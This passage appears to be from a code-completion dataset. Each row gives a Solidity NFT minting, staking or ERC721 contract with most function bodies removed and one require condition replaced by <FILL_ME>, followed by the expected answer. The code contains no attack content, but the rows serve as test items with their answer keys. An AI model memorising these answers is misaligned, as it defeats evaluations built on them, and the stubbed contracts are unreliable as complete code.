mapping(bytes32 => uint256) roots;
string public baseURI = "https://gateway.pinata.cloud/ipfs/QmQWU4uAzmHTURxSTiYEgb2rDzPCewobZuWdDGpCJABnKa/";
bool public whiteListMint = false;
address public owner;
mapping(address => uint256) public amountMinted;
uint256 supply = 0;
modifier onlyOwner {
}
constructor(bytes32[] memory _roots, uint256[] memory _amounts) ERC721("Saint Rien", "STR") {
}
function mintWL(bytes32[] memory _proof, bytes32 _root)
public
payable
{
require(whiteListMint == true,
"The mint hasn't started yet");
uint256 amountToMint = roots[_root];
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(roots[_root]>0,
"You are not whitelisted");
require(MerkleProof.verify(_proof, _root, leaf), "Invalid merkle proof");
for (uint256 i = 0;
i < (amountToMint - amountMinted[msg.sender]);
i++) {
supply += 1;
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
string memory temp = string.concat(baseURI, Strings.toString(newItemId));
string memory tokenURI = string.concat(temp, ".json");
_setTokenURI(newItemId, tokenURI);
_tokenIds.increment();
}
amountMinted[msg.sender] = amountToMint;
}
function allowWhiteListMint(bool allow) public onlyOwner {
}
function editWhitelist(bytes32[] memory _roots, uint256[] memory _amounts) public onlyOwner {
}
}
| amountMinted[msg.sender]<amountToMint,"You cant mint any more NFTs" | 152,981 | amountMinted[msg.sender]<amountToMint |
"You are not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SaintRien is ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(bytes32 => uint256) roots;
string public baseURI = "https://gateway.pinata.cloud/ipfs/QmQWU4uAzmHTURxSTiYEgb2rDzPCewobZuWdDGpCJABnKa/";
bool public whiteListMint = false;
address public owner;
mapping(address => uint256) public amountMinted;
uint256 supply = 0;
modifier onlyOwner {
}
constructor(bytes32[] memory _roots, uint256[] memory _amounts) ERC721("Saint Rien", "STR") {
}
function mintWL(bytes32[] memory _proof, bytes32 _root)
public
payable
{
require(whiteListMint == true,
"The mint hasn't started yet");
uint256 amountToMint = roots[_root];
require(amountMinted[msg.sender] < amountToMint,
"You cant mint any more NFTs");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
require(MerkleProof.verify(_proof, _root, leaf), "Invalid merkle proof");
for (uint256 i = 0;
i < (amountToMint - amountMinted[msg.sender]);
i++) {
supply += 1;
uint256 newItemId = _tokenIds.current();
_mint(msg.sender, newItemId);
string memory temp = string.concat(baseURI, Strings.toString(newItemId));
string memory tokenURI = string.concat(temp, ".json");
_setTokenURI(newItemId, tokenURI);
_tokenIds.increment();
}
amountMinted[msg.sender] = amountToMint;
}
function allowWhiteListMint(bool allow) public onlyOwner {
}
function editWhitelist(bytes32[] memory _roots, uint256[] memory _amounts) public onlyOwner {
}
}
| roots[_root]>0,"You are not whitelisted" | 152,981 | roots[_root]>0 |
"not editor" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./IRainiLpv3StakingPoolv2.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract RainiLpv3StakingPoolv2 is AccessControl, ERC721Holder {
bytes32 public constant EDITOR_ROLE = keccak256("EDITOR_ROLE");
using SafeERC20 for IERC20;
uint256 public rewardRate;
uint256 public xphotonRewardRate;
uint256 public minRewardStake;
uint256 public maxBonus;
uint256 public bonusDuration;
uint256 public bonusRate;
int24 public minTickUpper;
int24 public maxTickLower;
uint24 public feeRequired;
INonfungiblePositionManager public rainiLpNft;
IERC20 public photonToken;
IERC20UtilityToken public xphotonToken;
address public exchangeTokenAddress;
address public rainiTokenAddress;
// Universal variables
uint256 public totalSupply;
IRainiLpv3StakingPoolv2.GeneralRewardVars public generalRewardVars;
// account specific variables
mapping(address => IRainiLpv3StakingPoolv2.AccountRewardVars) public accountRewardVars;
mapping(address => IRainiLpv3StakingPoolv2.AccountVars) public accountVars;
mapping(address => uint32[]) public stakedNfts;
mapping(address => uint256) public staked;
constructor(
address _rainiLpNft,
address _xphotonToken,
address _exchangeToken,
address _rainiToken
) {
}
modifier onlyOwner() {
}
modifier onlyEditor() {
require(<FILL_ME>)
_;
}
function getStakedPositions(address _owner)
public
view
returns (uint32[] memory)
{
}
function setRewardRate(uint256 _rewardRate) external onlyEditor {
}
function setXphotonRewardRate(uint256 _xphotonRewardRate) external onlyEditor {
}
function setMinRewardStake(uint256 _minRewardStake) external onlyEditor {
}
function setMaxBonus(uint256 _maxBonus) external onlyEditor {
}
function setBonusDuration(uint256 _bonusDuration) external onlyEditor {
}
function setBonusRate(uint256 _bonusRate) external onlyEditor {
}
function setPhotonToken(address _photonTokenAddress) external onlyOwner {
}
function setGeneralRewardVars(IRainiLpv3StakingPoolv2.GeneralRewardVars memory _generalRewardVars) external onlyEditor {
}
function setAccountRewardVars(address _user, IRainiLpv3StakingPoolv2.AccountRewardVars memory _accountRewardVars) external onlyEditor {
}
function setAccountVars(address _user, IRainiLpv3StakingPoolv2.AccountVars memory _accountVars) external onlyEditor {
}
function setMinTickUpper(int24 _minTickUpper) external onlyEditor {
}
function setMaxTickLower(int24 _maxTickLower) external onlyEditor {
}
function setFeeRequired(uint24 _feeRequired) external onlyEditor {
}
function setStaked(address _user, uint256 _staked) external onlyEditor {
}
function setTotalSupply(uint256 _totalSupply) external onlyEditor {
}
function stakeLpNft(address _user, uint32 _tokenId) external onlyEditor {
}
function withdrawLpNft(address _user, uint32 _tokenId) external onlyEditor {
}
function withdrawPhoton(address _user, uint256 _amount) external onlyEditor {
}
}
| hasRole(EDITOR_ROLE,_msgSender()),"not editor" | 153,036 | hasRole(EDITOR_ROLE,_msgSender()) |
"You do not own SBT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
require(active, "Inactive");
require(<FILL_ME>)
require(ERC721.ownerOf(tokenId_) == msg.sender, "Not Owner");
stakedToken[uint256(tokenId_)].lastStakedTime = uint256(block.timestamp);
stakedToken[uint256(tokenId_)].tokenOwner = msg.sender;
unchecked { ++stakedTokenAmount[msg.sender]; }
ERC721.transferFrom(msg.sender, address(this), tokenId_);
}
function stakeBatch(uint256[] memory tokenIds_) external {
}
function unstake(uint256 tokenId_) external {
}
function unstakeBatch(uint256[] memory tokenIds_) external {
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| ERC1155SS.balanceOf(msg.sender,CGOSBT)>=CGOAMOUNT,"You do not own SBT" | 153,172 | ERC1155SS.balanceOf(msg.sender,CGOSBT)>=CGOAMOUNT |
"Not Owner" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
require(active, "Inactive");
require(ERC1155SS.balanceOf(msg.sender, CGOSBT) >= CGOAMOUNT, "You do not own SBT");
require(<FILL_ME>)
stakedToken[uint256(tokenId_)].lastStakedTime = uint256(block.timestamp);
stakedToken[uint256(tokenId_)].tokenOwner = msg.sender;
unchecked { ++stakedTokenAmount[msg.sender]; }
ERC721.transferFrom(msg.sender, address(this), tokenId_);
}
function stakeBatch(uint256[] memory tokenIds_) external {
}
function unstake(uint256 tokenId_) external {
}
function unstakeBatch(uint256[] memory tokenIds_) external {
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| ERC721.ownerOf(tokenId_)==msg.sender,"Not Owner" | 153,172 | ERC721.ownerOf(tokenId_)==msg.sender |
"Not Owner" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
}
function stakeBatch(uint256[] memory tokenIds_) external {
require(active, "Inactive");
require(ERC1155SS.balanceOf(msg.sender, CGOSBT) >= CGOAMOUNT, "You do not own SBT");
for(uint256 i; i < tokenIds_.length;) {
require(<FILL_ME>)
stakedToken[tokenIds_[i]].lastStakedTime = uint256(block.timestamp);
stakedToken[tokenIds_[i]].tokenOwner = msg.sender;
unchecked { ++stakedTokenAmount[msg.sender]; ++i; }
}
multiTransferFrom(msg.sender, address(this), tokenIds_);
}
function unstake(uint256 tokenId_) external {
}
function unstakeBatch(uint256[] memory tokenIds_) external {
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| ERC721.ownerOf(tokenIds_[i])==msg.sender,"Not Owner" | 153,172 | ERC721.ownerOf(tokenIds_[i])==msg.sender |
"Not Owner" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
}
function stakeBatch(uint256[] memory tokenIds_) external {
}
function unstake(uint256 tokenId_) external {
require(<FILL_ME>)
delete stakedToken[uint256(tokenId_)];
unchecked { --stakedTokenAmount[msg.sender]; }
ERC721.transferFrom(address(this), msg.sender, tokenId_);
}
function unstakeBatch(uint256[] memory tokenIds_) external {
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| stakedToken[uint256(tokenId_)].tokenOwner==msg.sender,"Not Owner" | 153,172 | stakedToken[uint256(tokenId_)].tokenOwner==msg.sender |
"Not Owner" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
}
function stakeBatch(uint256[] memory tokenIds_) external {
}
function unstake(uint256 tokenId_) external {
}
function unstakeBatch(uint256[] memory tokenIds_) external {
for(uint256 i; i < tokenIds_.length;) {
require(<FILL_ME>)
delete stakedToken[tokenIds_[i]];
unchecked {++i; --stakedTokenAmount[msg.sender]; }
}
multiTransferFrom(address(this), msg.sender, tokenIds_);
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| stakedToken[tokenIds_[i]].tokenOwner==msg.sender,"Not Owner" | 153,172 | stakedToken[tokenIds_[i]].tokenOwner==msg.sender |
"Token not staked" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @title Staking contract
* @author 0xSumo
*/
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() { }
modifier onlyOwner { }
function transferOwnership(address new_) external onlyOwner { }
}
interface IERC721 {
function ownerOf(uint256 tokenId_) external view returns (address);
function balanceOf(address owner) external view returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 tokenId_) external;
}
interface IERC1155SS {
function balanceOf(address owner, uint256 tokenId_) external view returns (uint256 balance);
}
contract MutantStaking is Ownable {
bool public active;
IERC721 public ERC721;
IERC1155SS public ERC1155SS;
uint256 public CGOAMOUNT = 1;
uint256 public constant CGOSBT = 69;
struct tokenInfo {
uint256 lastStakedTime;
address tokenOwner;
}
mapping(uint256 => tokenInfo) public stakedToken;
mapping(address => uint256) public stakedTokenAmount;
function setActive() public onlyOwner {
}
function setCGOAMOUNT(uint256 amount_) external onlyOwner {
}
function setERC1155SS(address _address) external onlyOwner {
}
function setERC721contract(address _address) external onlyOwner {
}
function multiTransferFrom(address from_, address to_, uint256[] memory tokenIds_) internal {
}
function stake(uint256 tokenId_) external {
}
function stakeBatch(uint256[] memory tokenIds_) external {
}
function unstake(uint256 tokenId_) external {
}
function unstakeBatch(uint256[] memory tokenIds_) external {
}
function ownerUnstake(uint256 tokenId_) external onlyOwner {
}
function ownerUnstakeBatch(uint256[] memory tokenIds_) external onlyOwner {
for (uint256 i = 0; i < tokenIds_.length; i++) {
uint256 tokenId_ = tokenIds_[i];
require(<FILL_ME>)
address tokenOwner = stakedToken[tokenId_].tokenOwner;
delete stakedToken[tokenId_];
unchecked { --stakedTokenAmount[tokenOwner]; }
ERC721.transferFrom(address(this), tokenOwner, tokenId_);
}
}
function getUserStakedTokens(address user) public view returns (uint256[] memory) {
}
function getTotalStakingTime(address user) public view returns (uint256) {
}
}
| stakedToken[tokenId_].tokenOwner!=address(0),"Token not staked" | 153,172 | stakedToken[tokenId_].tokenOwner!=address(0) |
"Sales Locked" | pragma solidity ^0.8.17;
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/*
*/
contract DogeElemental is ERC721A,ERC2981, Ownable,DefaultOperatorFilterer {
constructor(address payable royaltyReceiver) ERC721A("Doge Elemental Bean", "Doge Elemental Bean") {
}
bool public sales_locked=false;
uint8 public MAX_PUBLIC_TX=10;
uint32 public PUBLIC_START = 1682784211;
uint32 public PUBLIC_END = 1719029506;
uint64 public PUBLIC_MINT_PRICE= 0.0015 ether;
uint256 public MAX_SUPPLY = 10000;
string public baseURI;
mapping(address => uint256) private _tokensMinted;
mapping(address => bool) private _hasMinted;
function getSalesInfo() public view returns (uint8,uint32,uint32,uint64,uint256){
}
function mint_limit_config(uint8 new_public_max) public onlyOwner{
}
function set_public_start(uint32 newTime) public onlyOwner {
require(<FILL_ME>)
PUBLIC_START=newTime;
}
function set_public_end(uint32 newTime) public onlyOwner {
}
function set_public_price(uint64 newPrice) public onlyOwner {
}
function set_base_uri(string calldata newURI) public onlyOwner{
}
function lockSales() public onlyOwner {
}
function reduce_supply(uint256 newsupply) public onlyOwner{
}
modifier supplyAvailable(uint256 numberOfTokens) {
}
function team_mint(uint256 quantity,address addr) public payable onlyOwner supplyAvailable(quantity)
{
}
function public_mint(uint256 quantity) public payable supplyAvailable(quantity)
{
}
function setNewOwner(address newOwner) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// BASE URI
function _baseURI() internal view override(ERC721A)
returns (string memory)
{
}
// operation filter override functions
function setApprovalForAll(address operator, bool approved)
public
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
//royaltyInfo
function setRoyaltyInfo(address receiver, uint96 feeBasisPoints)
external
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| !sales_locked,"Sales Locked" | 153,331 | !sales_locked |
"Sold Out" | pragma solidity ^0.8.17;
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
/*
*/
contract DogeElemental is ERC721A,ERC2981, Ownable,DefaultOperatorFilterer {
constructor(address payable royaltyReceiver) ERC721A("Doge Elemental Bean", "Doge Elemental Bean") {
}
bool public sales_locked=false;
uint8 public MAX_PUBLIC_TX=10;
uint32 public PUBLIC_START = 1682784211;
uint32 public PUBLIC_END = 1719029506;
uint64 public PUBLIC_MINT_PRICE= 0.0015 ether;
uint256 public MAX_SUPPLY = 10000;
string public baseURI;
mapping(address => uint256) private _tokensMinted;
mapping(address => bool) private _hasMinted;
function getSalesInfo() public view returns (uint8,uint32,uint32,uint64,uint256){
}
function mint_limit_config(uint8 new_public_max) public onlyOwner{
}
function set_public_start(uint32 newTime) public onlyOwner {
}
function set_public_end(uint32 newTime) public onlyOwner {
}
function set_public_price(uint64 newPrice) public onlyOwner {
}
function set_base_uri(string calldata newURI) public onlyOwner{
}
function lockSales() public onlyOwner {
}
function reduce_supply(uint256 newsupply) public onlyOwner{
}
modifier supplyAvailable(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
function team_mint(uint256 quantity,address addr) public payable onlyOwner supplyAvailable(quantity)
{
}
function public_mint(uint256 quantity) public payable supplyAvailable(quantity)
{
}
function setNewOwner(address newOwner) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// BASE URI
function _baseURI() internal view override(ERC721A)
returns (string memory)
{
}
// operation filter override functions
function setApprovalForAll(address operator, bool approved)
public
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override(ERC721A)
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override(ERC721A) onlyAllowedOperator(from) {
}
//royaltyInfo
function setRoyaltyInfo(address receiver, uint96 feeBasisPoints)
external
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| totalSupply()+numberOfTokens<=MAX_SUPPLY,"Sold Out" | 153,331 | totalSupply()+numberOfTokens<=MAX_SUPPLY |
"Must have owner role to mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
contract BaseERC721 is AccessControl, ERC721Enumerable, ERC721URIStorage {
bytes32 public constant BASE_ERC721_OWNER_ROLE = keccak256('OWNER_ROLE');
string private _uri;
bool private _updatable;
bool private _transferable;
uint256 internal _count;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool transferable_)
ERC721(name_, symbol_) {
}
function setBaseURI(string memory baseURI_) public virtual {
require(<FILL_ME>)
require(_updatable, 'Token is not updatable');
_uri = baseURI_;
}
function setTokenURI(uint256 tokenId_, string memory tokenURI_) public virtual {
}
function isTransferable() public view returns (bool) {
}
function isUpdatable() public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function baseURI() public view returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
virtual
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function count() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControl, ERC721Enumerable, ERC721)
returns (bool)
{
}
}
| hasRole(BASE_ERC721_OWNER_ROLE,_msgSender()),"Must have owner role to mint" | 153,353 | hasRole(BASE_ERC721_OWNER_ROLE,_msgSender()) |
'Only token owner can update uri' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
contract BaseERC721 is AccessControl, ERC721Enumerable, ERC721URIStorage {
bytes32 public constant BASE_ERC721_OWNER_ROLE = keccak256('OWNER_ROLE');
string private _uri;
bool private _updatable;
bool private _transferable;
uint256 internal _count;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool transferable_)
ERC721(name_, symbol_) {
}
function setBaseURI(string memory baseURI_) public virtual {
}
function setTokenURI(uint256 tokenId_, string memory tokenURI_) public virtual {
require(_updatable, 'Token is not updatable');
require(<FILL_ME>)
_setTokenURI(tokenId_, tokenURI_);
}
function isTransferable() public view returns (bool) {
}
function isUpdatable() public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function baseURI() public view returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
virtual
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function count() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControl, ERC721Enumerable, ERC721)
returns (bool)
{
}
}
| ownerOf(tokenId_)==msg.sender,'Only token owner can update uri' | 153,353 | ownerOf(tokenId_)==msg.sender |
'Token is not transferable' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// Openzeppelin imports
import '@openzeppelin/contracts/access/AccessControl.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
contract BaseERC721 is AccessControl, ERC721Enumerable, ERC721URIStorage {
bytes32 public constant BASE_ERC721_OWNER_ROLE = keccak256('OWNER_ROLE');
string private _uri;
bool private _updatable;
bool private _transferable;
uint256 internal _count;
constructor(string memory name_,
string memory symbol_,
string memory baseURI_,
bool updatable_,
bool transferable_)
ERC721(name_, symbol_) {
}
function setBaseURI(string memory baseURI_) public virtual {
}
function setTokenURI(uint256 tokenId_, string memory tokenURI_) public virtual {
}
function isTransferable() public view returns (bool) {
}
function isUpdatable() public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function baseURI() public view returns (string memory) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
virtual
override(ERC721, ERC721Enumerable)
{
require(<FILL_ME>)
ERC721Enumerable._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function count() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControl, ERC721Enumerable, ERC721)
returns (bool)
{
}
}
| _transferable||address(0)==from||address(0)==to,'Token is not transferable' | 153,353 | _transferable||address(0)==from||address(0)==to |
"Caller has no team allocation" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Raccools is ERC721A, Ownable {
uint256 private constant maxSupply = 6969;
uint256 private constant amountPerTx = 6;
mapping(address => bool) private mintedByAddress;
string private baseURI;
uint256 private constant teamAllocationAmount = 140; // 2%
mapping(address => uint256) private teamAllocation;
modifier onlyTeam() {
require(<FILL_ME>)
_;
}
constructor() ERC721A("Raccools", "RACCOOL") {
}
function mint() external {
}
function mintReserve() external onlyTeam {
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
}
